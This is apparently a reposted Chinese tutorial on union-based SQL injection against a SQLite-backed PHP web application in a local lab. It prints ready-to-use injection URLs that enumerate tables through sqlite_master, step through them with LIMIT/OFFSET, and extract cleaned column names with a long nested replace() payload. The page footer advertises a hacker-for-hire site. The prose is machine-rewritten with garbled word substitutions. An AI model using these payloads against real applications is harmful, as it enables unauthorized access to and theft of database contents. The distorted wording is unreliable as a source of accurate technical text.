根据SQLite数据库的Web应用程序注入攻略

访客5年前黑客文章747

SQL注入又称hacking之母,是形成 *** 世界巨大损失而臭名远扬的缝隙之一,研究人员现已发布了许多关于不同SQL服务的不同进犯技巧相关文章。关于MSSQL,MySQL和ORACLE数据库来说,SQL注入的payload一抓一大把,你能够在web运用中运用SQL注入缝隙进行进犯,假如其间任何一种数据库被用来作为后端数据库。SQLite就比较不那么知名了,因而相关的SQL注入payload就比较少,假如你想进犯后端数据库为SQLite的,那你就得去学习SQLite相关功用,然后构造出你自己的payload。因而,本文中咱们将讨论两种关于SQLite的SQL注入进犯技巧。
1、根据联合查询的SQL注入(数字型或字符型)
2、SQL盲注
试验环境
为了完成根据SQLite的SQL注入,咱们需求以下环境:
1、web服务器(这里是apache)
2、PHP环境
3、运用SQLite数据库的存在缝隙的web运用,这里有一个我自己开发的运用
测验运用包里包括PHP代码和SQLite数据库(ica-lab.db).数据库共有两个表单:Info和Users
施行进犯
1、根据联合查询的SQL注入
根据联合查询的SQL注入并不难,SQL查询直接去数据库中获取表名以及列名。让咱们来试试根据联合查询的SQL注入(数字型),注入点:
http://127.0.0.1/sqlite-lab/index.php?snumber=1
在测验order by子句后,咱们能够发现列数为5,Inject URL:

http://127.0.0.1/sqlite-lab/index.php?snumber=1 union select 1,2,3,4,5--

列2,3,4的数据在web页面上被打印出来了,因而咱们需求运用这三个列的其间一个或多个。
获取表名
在SQLite中,为了猜解表名咱们需求运转以下查询:

SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'
在缝隙运用程序里,假如咱们构造像以下这样的链接,web运用将会在2这个方位显现一切表名:

http://127.0.0.1/sqlite-lab/index.php?snumber=1337 union SELECT 1,group_concat(tbl_name),3,4,5 FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'

为了让表名独自显现,咱们能够运用带offset的limit子句,就像这样:

http://127.0.0.1/sqlite-lab/index.php?snumber=1337 union SELECT 1,tbl_name,3,4,5 FROM sqlite_master where type='table' and tbl_name NOT like 'sqlite_%'' limit 2 offset 1
limit后边接的数字是为了获取行数,而offest后边接的数字则为之一次回来成果中的删除数。在上述查询中,limit提取了两个表名,然后哦之一个被offset删除去,所以咱们获得了第二个表名。相似的,为了获取第三个表名,只需求改动limit和offset为3跟2即可,即limit 3 offset 2.
获取列名
关于获取列名来说,相同有个简略的SQL查询来从指定表中获取列名。

union SELECT 1,sql,3,4,5 FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name='table_name'
只要把上述查询中的table_name替换为你想要获取列名的相应表的表名即可,在本例中,我想获取info表的列名:

http://127.0.0.1/sqlite-lab/index.php?snumber=1337 union SELECT 1,sql,3,4,5 FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='info'

获取“洁净”列名的payload
用以下payload来代替'sql',其他的payload坚持不变

replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')%2b1)),instr((substr(sql,instr(sql,'(')%2b1)),'`')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~')
Inject URL:

http://127.0.0.1/sqlite-lab/index.php?snumber=1337 union select 1,replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')%2b1)),instr((substr(sql,instr(sql,'(')%2b1)),'`')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~'),3,4,5 FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' and name='info'

[1] [2] [3] [4]  黑客接单网

相关文章

“神起”僵尸网络的诱捕与反击(上)

2019年5月中旬,蜜罐体系监测到了一同进犯事情,引起了咱们的留意,小伙伴们敏捷跟进分析,并经过技术手段拿下黑客操控端服务器,发现黑客运用了一款名为“神起ddos集群”的软件,操控了3000+的僵尸网...

Web 服务器基准测验,nginx+php vs Apache+php

本次测验nginx+php与apache+php哪种组合的核算性能及稳定性更佳 操作系统:Centos6.4 x64 硬件环境:   服务器IP 硬件装备 人物 192.168.1.2 4中心 8G...

被黑的Drupal网站被用来挖矿,传达远控,发送欺诈邮件

黑客正在使用最近Drupal CMS中的已知缝隙,例如Drupalgeddon2和Drupalgeddon3来传达挖矿软件、长途管理工具(RAT)和以技术支撑为名的诈骗邮件。 两个缝隙编号为CVE-...

第六届全国网络安全大赛代码审计全解

 XDCTF是一项面向全国在校大学生的信息安全类竞赛,由西电信息安全协会与网络攻防实训基地联合举行。旨在增强学生对网络常识的爱好,进步学生学习网络技术的积极性,培育学生的立异 认识、协作精力和理论联系...

TA505在最新攻击活动中使用HTML, RAT和其他技术-黑客接单平台

TA505以运用歹意垃圾邮件和不同的歹意软件来进犯金融安排和零售企业而臭名远扬。研究人员在曩昔2个月检测到与TA505相关的进犯活动。在该安排的最近活动中,运用了HTML附件来传达歹意XLS文件,XL...

进犯检测和防备办法之日志剖析

1.  导言 针对linux服务器进犯首要包含溢出提权进犯、端口扫描、后门程序植入等进犯手法,而针对web运用程序的进犯则掩盖愈加广泛,包含SQL注入、XSS、指令履行、文件包含、木马上传等缝隙。本文...